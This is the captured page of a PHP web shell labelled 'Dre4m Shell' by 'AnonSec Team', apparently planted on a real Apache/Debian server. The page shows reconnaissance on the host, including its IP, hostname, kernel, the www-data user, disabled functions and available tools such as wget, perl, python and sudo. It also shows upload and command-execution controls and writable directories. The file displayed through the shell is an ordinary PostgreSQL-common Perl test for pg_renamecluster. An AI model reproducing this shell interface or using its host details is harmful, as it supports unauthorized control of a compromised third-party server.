Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 18.118.28.31
Web Server : Apache/2.4.62 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /proc/3/root/usr/share/postgresql-common/t/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /proc/3/root/usr/share/postgresql-common/t/021_pg_renamecluster.t
use strict;

use lib 't';
use TestLib;
use PgCommon;

use Test::More tests => 20;

my $v = $MAJORS[-1];

# create cluster
ok ((system "pg_createcluster $v main --start >/dev/null") == 0,
    "pg_createcluster $v main");

# test pg_renamecluster with a running cluster
program_ok (0, "pg_renamecluster $v main donau");
is_program_out 'postgres', 'psql -tAc "show data_directory"', 0,
    "/var/lib/postgresql/$v/donau\n", 'cluster is running and data_directory was moved';
is ((PgCommon::get_conf_value $v, 'donau', 'postgresql.conf', 'hba_file'),
    "/etc/postgresql/$v/donau/pg_hba.conf", 'pg_hba.conf location updated');
is ((PgCommon::get_conf_value $v, 'donau', 'postgresql.conf', 'ident_file'),
    "/etc/postgresql/$v/donau/pg_ident.conf", 'pg_ident.conf location updated');
is ((PgCommon::get_conf_value $v, 'donau', 'postgresql.conf', 'external_pid_file'),
    "/var/run/postgresql/$v-donau.pid", 'external_pid_file location updated');
ok (-f "/var/run/postgresql/$v-donau.pid", 'external_pid_file exists');
SKIP: {
    skip "no stats_temp_directory in $v", 2 if ($v < 8.4 or $v >= 15);
    is ((PgCommon::get_conf_value $v, 'donau', 'postgresql.conf', 'stats_temp_directory'),
        "/var/run/postgresql/$v-donau.pg_stat_tmp", 'stats_temp_directory location updated');
    ok (-d "/var/run/postgresql/$v-donau.pg_stat_tmp", 'stats_temp_directory exists');
}
SKIP: {
    skip "cluster name not supported in $v", 1 if ($v < 9.5);
    is (PgCommon::get_conf_value ($v, 'donau', 'postgresql.conf', 'cluster_name'), "$v/donau", "cluster_name is updated");
}

# stop server, clean up, check for leftovers
ok ((system "pg_dropcluster $v donau --stop") == 0,
    'pg_dropcluster removes cluster');

check_clean;

# vim: filetype=perl

Anon7 - 2022
AnonSec Team